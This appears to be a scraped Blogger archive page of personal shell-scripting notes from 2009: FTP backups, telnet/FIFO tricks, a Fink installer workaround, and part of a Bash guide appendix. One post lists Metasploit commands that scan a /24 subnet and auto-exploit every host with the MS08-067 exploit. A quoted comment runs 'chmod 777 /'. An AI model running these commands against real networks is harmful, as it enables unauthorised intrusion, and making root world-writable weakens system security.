href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=5559463667486583408&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090612</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='2303730909910923298' itemprop='postId'/> <a name='2303730909910923298'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://semaja2.net/macosx/backupscript/backups.htm'>http://semaja2.net/macosx/backupscript/backups.htm</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-2303730909910923298' itemprop='description articleBody'> <pre><br />growlnotify -m "Uploading $BACKUPNAME to FTP" -t "Backup" -P $GROWLPASS --udp --host $GROWLHOST<br />echo "uploading to ftp"<br />ftp -n &lt;&lt;EOF<br />open $FTPSITE<br />user $FTPUSER $FTPPASS<br />put $NAMEE $FTPBACKUPDIR<br />bye<br />EOF<br />fi<br /></pre> <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/httpsemaja2netmacosxbackupscriptbackups.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/httpsemaja2netmacosxbackupscriptbackups.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-12T17:37:00+02:00'>17:37</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/httpsemaja2netmacosxbackupscriptbackups.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=2303730909910923298&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090611</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='5772379133837309314' itemprop='postId'/> <a name='5772379133837309314'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://1cup1coffee.com/1024_22-05/'>http://1cup1coffee.com/1024_22-05/</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-5772379133837309314' itemprop='description articleBody'> http://1cup1coffee.com/1024_22-05/<br />--<br />map{ map{tr|10|# |;print} split//,sprintf"%.8b\n",$_}<br />unpack'C*',unpack'u*',"5`#8<3'X`'#8^-@`<-CPP`#8V/C8`" <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/http1cup1coffeecom102422-05.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/http1cup1coffeecom102422-05.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-11T16:31:00+02:00'>16:31</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/http1cup1coffeecom102422-05.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=5772379133837309314&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090610</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='496865934046678531' itemprop='postId'/> <a name='496865934046678531'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://thijstoday.blogspot.com/2009/06/ms.html'>ms</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-496865934046678531' itemprop='description articleBody'> load db_sqlite3<br />(db_destroy)<br />db_create<br />db_nmap -sS -PS445 -p334 -n -T Aggressive 192.168.0.0/24<br />db_autopwn -e -p -b -m ms08_067<br />db_hosts<br />db_autopwn -pb<br />db_nmap -A host <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/ms.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/ms.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-10T12:30:00+02:00'>12:30</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/ms.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=496865934046678531&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090609</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='3509812390621621331' itemprop='postId'/> <a name='3509812390621621331'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://thijstoday.blogspot.com/2009/06/xxx.html'>xxx</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-3509812390621621331' itemprop='description articleBody'> Hi!&lt;br&gt;This is very popular question, I see&amp;nbsp;&lt;img src="http://http.cdnlayer.com/lq/images/questions/images/smilies/smile.gif" border="0" alt="" title="Smilie" class="inlineimg" style="vertical-align: middle; "&gt;&lt;br&gt;&lt;br&gt;You can use following bash script as an example:&lt;br&gt;&lt;a href="http://tiocu.svn.sourceforge.net/viewvc/*checkout*/tiocu/email/email?revision=58" target="_blank" style="color: rgb(34, 34, 156); "&gt;http://tiocu.svn.sourceforge.net/vie...il?revision=58&lt;/a&gt;. Function `wait4ack()' and lines below `echo connecting...' are of interest for you.&lt;br&gt;&lt;br&gt;Shortly speaking we run telnet process in background and associate file descriptors 3 and 4 with its stdin and stdout using something like this:&lt;br&gt;<br />&lt;div class="smallfont" style="font-size: 11px; margin-bottom: 2px; "&gt;Code:&lt;/div&gt;&lt;pre class="bbcodeblock" dir="ltr" style="background-color: rgb(207, 217, 255); margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: -99999px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 774px; height: 66px; text-align: left; overflow-x: auto; overflow-y: auto; "&gt;mkfifo $FIFO<br />exec 4&amp;lt; &amp;lt;(telnet $SERVER 25 &amp;lt; $FIFO 2&amp;gt; /dev/null &amp;amp;)<br />exec 3&amp;gt;$FIFO&lt;/pre&gt;Now we can send commands to telnet through 3'rd fd and recieve responses through 4'th one:&lt;br&gt;&lt;div class="smallfont" style="font-size: 11px; margin-bottom: 2px; "&gt;Code:&lt;/div&gt;&lt;pre class="bbcodeblock" dir="ltr" style="background-color: rgb(207, 217, 255); margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: -99999px; padding-top: 3px; padding-right: 3px; padding-bottom: 3px; padding-left: 3px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 774px; height: 50px; text-align: left; overflow-x: auto; overflow-y: auto; "&gt;echo $comm &amp;gt;&amp;amp;3<br />wait4ack "$optn" &amp;lt;&amp;amp;4&lt;/pre&gt;wait4ack() reads its stdin (i.e. 4'th file descriptor) until something like '+OK' in POP3 protocol or 250 in SMTP (see corresponding RFC document).&lt;br&gt;&lt;br&gt;Hope, this helps.&lt;br&gt;&lt;br&gt;firstfire == agre.&lt;br class="khtml-block-placeholder"&gt; <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/xxx.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/xxx.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-09T22:42:00+02:00'>22:42</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/xxx.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=3509812390621621331&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='7049576233406643063' itemprop='postId'/> <a name='7049576233406643063'></a> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-7049576233406643063' itemprop='description articleBody'> &lt;pre class="alt2" dir="ltr" style="background-image: initial; background-repeat: initial; background-attachment: initial; -webkit-background-clip: initial; -webkit-background-origin: initial; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 6px; padding-right: 6px; padding-bottom: 6px; padding-left: 6px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: inset; border-right-style: inset; border-bottom-style: inset; border-left-style: inset; border-color: initial; width: 640px; height: 130px; text-align: left; overflow-x: auto; overflow-y: auto; background-position: initial initial; "&gt;fifo=`mktemp`<br />mkfifo $fifo<br />telnet irc.mynetwork.com 6667 &amp;lt; $fifo &amp;amp;<br />sleep 20<br />echo "NICK ihth" &amp;gt; $fifo<br />sleep 5<br />echo USER ihth 0 0 :ihth ihth via telnet &amp;gt; $fifo&lt;/pre&gt; <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/classalt2-dirltr-stylebackground-image.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/classalt2-dirltr-stylebackground-image.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-09T21:13:00+02:00'>21:13</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/classalt2-dirltr-stylebackground-image.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=7049576233406643063&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090605</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='8784003700010165066' itemprop='postId'/> <a name='8784003700010165066'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://thijstoday.blogspot.com/2009/06/unison-open-source-synctoy-clone-with.html'>UNISON an open source synctoy clone with ssh support for linux/mac and windows!</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-8784003700010165066' itemprop='description articleBody'> Seems to work :D <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/unison-open-source-synctoy-clone-with.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/unison-open-source-synctoy-clone-with.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-05T15:44:00+02:00'>15:44</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/unison-open-source-synctoy-clone-with.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=8784003700010165066&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='7519657216115056201' itemprop='postId'/> <a name='7519657216115056201'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://thijstoday.blogspot.com/2009/06/fink-troubles-cannot-perform-symlink.html'>Fink Troubles - Cannot perform symlink test&#160;http://nmanzi.com/?p=24</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-7519657216115056201' itemprop='description articleBody'> Fink Troubles - Cannot perform symlink test<br /><br />http://nmanzi.com/?p=24<br /><br /><br />[..8&amp;lt;..]<br /><br />My problem, however, was that Fink wasn&#8217;t installing. At the install volume selection screen, I wasn&#8217;t able to select my root volume. It&#8217;s reasoning was: &#8220;You cannot install Fink on this volume. Cannot perform symlink test on this volume because of a permissions problem. Try performing the &#8220;Repair Disk Permissions&#8221; function in Disk Utility&#8221;.<br /><br />[..8&amp;lt;..]<br /><br />Entering the Fink Installer Package (right-click, Show Package Contents - in Finder), I could see three scripts in the Resources folder, one of which was VolumeCheck, which basically tells the Installer if you have permissions to the Volume in question. Editing this script, I made sure it did nothing but return an exit-code of &#8216;0&#8242; back to the installer.<br /><br />[..8&amp;lt;..]<br /><br />#1. &amp;nbsp; Stephen van Egmond<br /><br />The test is whether / is writeable, and fails. Running as a regular user / is not writeable. I did this: bash-3.2# sudo chmod 777 /<br /><br />[..8&amp;lt;..]<br /><br />&lt;b&gt;#6. &amp;nbsp; Joe Block 11.05.2008&lt;/b&gt;<br />&lt;b&gt;<br />Your best bet is probably to do<br /><br /><br /><br />&lt;tt&gt;sudo installer -target / -pkg /path/to/fink.pkg&lt;/tt&gt;<br /><br /><br /><br />That way you don&#8217;t need to monkey with the permissions on / or skip any other VolumeCheck checks.<br /><br /><br /><br />&lt;/b&gt; <div style='clear: both;'></div> </div> <div class='post-footer'> <div class='post-footer-line post-footer-line-1'> <span class='post-author vcard'> Posted by <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'> <meta content='https://www.blogger.com/profile/17606607483823573214' itemprop='url'/> <a class='g-profile' href='https://www.blogger.com/profile/17606607483823573214' rel='author' title='author profile'> <span itemprop='name'>RJ</span> </a> </span> </span> <span class='post-timestamp'> at <meta content='http://thijstoday.blogspot.com/2009/06/fink-troubles-cannot-perform-symlink.html' itemprop='url'/> <a class='timestamp-link' href='http://thijstoday.blogspot.com/2009/06/fink-troubles-cannot-perform-symlink.html' rel='bookmark' title='permanent link'><abbr class='published' itemprop='datePublished' title='2009-06-05T14:58:00+02:00'>14:58</abbr></a> </span> <span class='post-comment-link'> <a class='comment-link' href='http://thijstoday.blogspot.com/2009/06/fink-troubles-cannot-perform-symlink.html#comment-form' onclick=''> No comments: </a> </span> <span class='post-icons'> <span class='item-control blog-admin pid-1573505779'> <a href='https://www.blogger.com/post-edit.g?blogID=8194035553301014782&postID=7519657216115056201&from=pencil' title='Edit Post'> <img alt='' class='icon-action' height='18' src='https://resources.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> </a> </span> </span> <div class='post-share-buttons goog-inline-block'> </div> </div> <div class='post-footer-line post-footer-line-2'> <span class='post-labels'> </span> </div> <div class='post-footer-line post-footer-line-3'> <span class='post-location'> </span> </div> </div> </div> </div> </div></div> <div class="date-outer"> <h2 class='date-header'><span>20090604</span></h2> <div class="date-posts"> <div class='post-outer'> <div class='post hentry uncustomized-post-template' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'> <meta content='http://tldp.org/LDP/abs/images/note.gif' itemprop='image_url'/> <meta content='8194035553301014782' itemprop='blogId'/> <meta content='2691811379426364791' itemprop='postId'/> <a name='2691811379426364791'></a> <h3 class='post-title entry-title' itemprop='name'> <a href='http://tldp.org/LDP/abs/html/dosbatch.html'>http://tldp.org/LDP/abs/html/dosbatch.html</a> </h3> <div class='post-header'> <div class='post-header-line-1'></div> </div> <div class='post-body entry-content' id='post-body-2691811379426364791' itemprop='description articleBody'> <div class="NAVHEADER"><table summary="Header navigation table" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><th colspan="3" align="center">Advanced Bash-Scripting Guide: </th></tr><tr><td align="left" valign="bottom" width="10%"><a accesskey="P" href="http://tldp.org/LDP/abs/html/sample-bashrc.html">Prev</a></td><td align="center" valign="bottom" width="80%"><br /></td><td align="right" valign="bottom" width="10%"><a accesskey="N" href="http://tldp.org/LDP/abs/html/exercises.html">Next</a></td></tr></tbody></table><hr align="left" width="100%"></div><div class="APPENDIX"><h1><a name="DOSBATCH"></a>Appendix L. Converting DOS Batch Files to Shell Scripts</h1><p><a name="DOSBATCH1"></a></p><p>Quite a number of programmers learned scripting on a PC running DOS. Even the crippled DOS batch file language allowed writing some fairly powerful scripts and applications, though they often required extensive kludges and workarounds. Occasionally, the need still arises to convert an old DOS batch file to a UNIX shell script. This is generally not difficult, as DOS batch file operators are only a limited subset of the equivalent shell scripting ones.</p><div class="TABLE"><a name="AEN23160"></a><p><b>Table L-1. Batch file keywords / variables / operators, and their shell equivalents</b></p><table class="CALSTABLE" border="1"><thead><tr><th align="left" valign="top">Batch File Operator</th><th align="left" valign="top">Shell Script Equivalent</th><th align="left" valign="top">Meaning</th></tr></thead><tbody><tr><td align="left" valign="top"><tt class="OPTION">%</tt></td><td align="left" valign="top">$</td><td align="left" valign="top">command-line parameter prefix</td></tr><tr><td align="left" valign="top"><tt class="OPTION">/</tt></td><td align="left" valign="top">-</td><td align="left" valign="top">command option flag</td></tr><tr><td align="left" valign="top"><tt class="OPTION">\</tt></td><td align="left" valign="top">/</td><td align="left" valign="top">directory path separator</td></tr><tr><td align="left" valign="top"><tt class="OPTION">==</tt></td><td align="left" valign="top">=</td><td align="left" valign="top">(equal-to) string comparison test</td></tr><tr><td align="left" valign="top"><tt class="OPTION">!==!</tt></td><td align="left" valign="top">!=</td><td align="left" valign="top">(not equal-to) string comparison test</td></tr><tr><td align="left" valign="top"><tt class="OPTION">|</tt></td><td align="left" valign="top">|</td><td align="left" valign="top">pipe</td></tr><tr><td align="left" valign="top"><tt class="OPTION">@</tt></td><td align="left" valign="top">set <tt class="OPTION">+v</tt></td><td align="left" valign="top">do not echo current command</td></tr><tr><td align="left" valign="top"><tt class="OPTION">*</tt></td><td align="left" valign="top">*</td><td align="left" valign="top">filename <span class="QUOTE">"wild card"</span></td></tr><tr><td align="left" valign="top"><tt class="OPTION">></tt></td><td align="left" valign="top">></td><td align="left" valign="top">file redirection (overwrite)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">>></tt></td><td align="left" valign="top">>></td><td align="left" valign="top">file redirection (append)</td></tr><tr><td align="left" valign="top"><tt class="OPTION"><</tt></td><td align="left" valign="top"><</td><td align="left" valign="top">redirect <tt class="FILENAME">stdin</tt></td></tr><tr><td align="left" valign="top"><tt class="OPTION">%VAR%</tt></td><td align="left" valign="top">$VAR</td><td align="left" valign="top">environmental variable</td></tr><tr><td align="left" valign="top"><tt class="OPTION">REM</tt></td><td align="left" valign="top">#</td><td align="left" valign="top">comment</td></tr><tr><td align="left" valign="top"><tt class="OPTION">NOT</tt></td><td align="left" valign="top">!</td><td align="left" valign="top">negate following test</td></tr><tr><td align="left" valign="top"><tt class="OPTION">NUL</tt></td><td align="left" valign="top"><tt class="FILENAME">/dev/null</tt></td><td align="left" valign="top"><span class="QUOTE">"black hole"</span> for burying command output</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ECHO</tt></td><td align="left" valign="top">echo</td><td align="left" valign="top">echo (many more option in Bash)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ECHO.</tt></td><td align="left" valign="top">echo</td><td align="left" valign="top">echo blank line</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ECHO OFF</tt></td><td align="left" valign="top">set <tt class="OPTION">+v</tt></td><td align="left" valign="top">do not echo command(s) following</td></tr><tr><td align="left" valign="top"><tt class="OPTION">FOR %%VAR IN (LIST) DO</tt></td><td align="left" valign="top">for var in [list]; do</td><td align="left" valign="top"><span class="QUOTE">"for"</span> loop</td></tr><tr><td align="left" valign="top"><tt class="OPTION">:LABEL</tt></td><td align="left" valign="top">none (unnecessary)</td><td align="left" valign="top">label</td></tr><tr><td align="left" valign="top"><tt class="OPTION">GOTO</tt></td><td align="left" valign="top">none (use a function)</td><td align="left" valign="top">jump to another location in the script</td></tr><tr><td align="left" valign="top"><tt class="OPTION">PAUSE</tt></td><td align="left" valign="top">sleep</td><td align="left" valign="top">pause or wait an interval</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CHOICE</tt></td><td align="left" valign="top">case or select</td><td align="left" valign="top">menu choice</td></tr><tr><td align="left" valign="top"><tt class="OPTION">IF</tt></td><td align="left" valign="top">if</td><td align="left" valign="top">if-test</td></tr><tr><td align="left" valign="top"><tt class="OPTION">IF EXIST <tt class="REPLACEABLE"><i>FILENAME</i></tt></tt></td><td align="left" valign="top">if [ -e filename ]</td><td align="left" valign="top">test if file exists</td></tr><tr><td align="left" valign="top"><tt class="OPTION">IF !%N==!</tt></td><td align="left" valign="top">if [ -z "$N" ]</td><td align="left" valign="top">if replaceable parameter <span class="QUOTE">"N"</span> not present</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CALL</tt></td><td align="left" valign="top">source or . (dot operator)</td><td align="left" valign="top"><span class="QUOTE">"include"</span> another script</td></tr><tr><td align="left" valign="top"><tt class="OPTION">COMMAND /C</tt></td><td align="left" valign="top">source or . (dot operator)</td><td align="left" valign="top"><span class="QUOTE">"include"</span> another script (same as CALL)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">SET</tt></td><td align="left" valign="top">export</td><td align="left" valign="top">set an environmental variable</td></tr><tr><td align="left" valign="top"><tt class="OPTION">SHIFT</tt></td><td align="left" valign="top">shift</td><td align="left" valign="top">left shift command-line argument list</td></tr><tr><td align="left" valign="top"><tt class="OPTION">SGN</tt></td><td align="left" valign="top">-lt or -gt</td><td align="left" valign="top">sign (of integer)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ERRORLEVEL</tt></td><td align="left" valign="top">$?</td><td align="left" valign="top">exit status</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CON</tt></td><td align="left" valign="top"><tt class="FILENAME">stdin</tt></td><td align="left" valign="top"><span class="QUOTE">"console"</span> (<tt class="FILENAME">stdin</tt>)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">PRN</tt></td><td align="left" valign="top"><tt class="FILENAME">/dev/lp0</tt></td><td align="left" valign="top">(generic) printer device</td></tr><tr><td align="left" valign="top"><tt class="OPTION">LPT1</tt></td><td align="left" valign="top"><tt class="FILENAME">/dev/lp0</tt></td><td align="left" valign="top">first printer device</td></tr><tr><td align="left" valign="top"><tt class="OPTION">COM1</tt></td><td align="left" valign="top"><tt class="FILENAME">/dev/ttyS0</tt></td><td align="left" valign="top">first serial port</td></tr></tbody></table></div><p><a name="DOSUNIXEQUIV"></a></p><p>Batch files usually contain DOS commands. These must be translated into their UNIX equivalents in order to convert a batch file into a shell script.</p><div class="TABLE"><a name="AEN23369"></a><p><b>Table L-2. DOS commands and their UNIX equivalents</b></p><table class="CALSTABLE" border="1"><thead><tr><th align="left" valign="top">DOS Command</th><th align="left" valign="top">UNIX Equivalent</th><th align="left" valign="top">Effect</th></tr></thead><tbody><tr><td align="left" valign="top"><tt class="OPTION">ASSIGN</tt></td><td align="left" valign="top">ln</td><td align="left" valign="top">link file or directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">ATTRIB</tt></td><td align="left" valign="top">chmod</td><td align="left" valign="top">change file permissions</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CD</tt></td><td align="left" valign="top">cd</td><td align="left" valign="top">change directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CHDIR</tt></td><td align="left" valign="top">cd</td><td align="left" valign="top">change directory</td></tr><tr><td align="left" valign="top"><tt class="OPTION">CLS</tt></td><td align="left" valign="top">clear</td><td align="left" valign="top">clear screen</td></tr><tr><td align="left" valign="top"><tt class="OPTION">COMP</tt></td><td align="left" valign="top">diff, comm, cmp</td><td align="left" valign="top">file compare</td></tr><tr><td align="left" valign="top"><tt class="OPTION">COPY</tt></td><td align="left" valign="top">cp</td><td align="left" valign="top">file copy</td></tr><tr><td align="left" valign="top"><tt class="OPTION">Ctl-C</tt></td><td align="left" valign="top">Ctl-C</td><td align="left" valign="top">break (signal)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">Ctl-Z</tt></td><td align="left" valign="top">Ctl-D</td><td align="left" valign="top">EOF (end-of-file)</td></tr><tr><td align="left" valign="top"><tt class="OPTION">DEL</tt></td><td align="left" valign="top">rm</td><td align="left" valign="top">delete file(s)</td></tr><tr><td align="left" valign="top"><tt 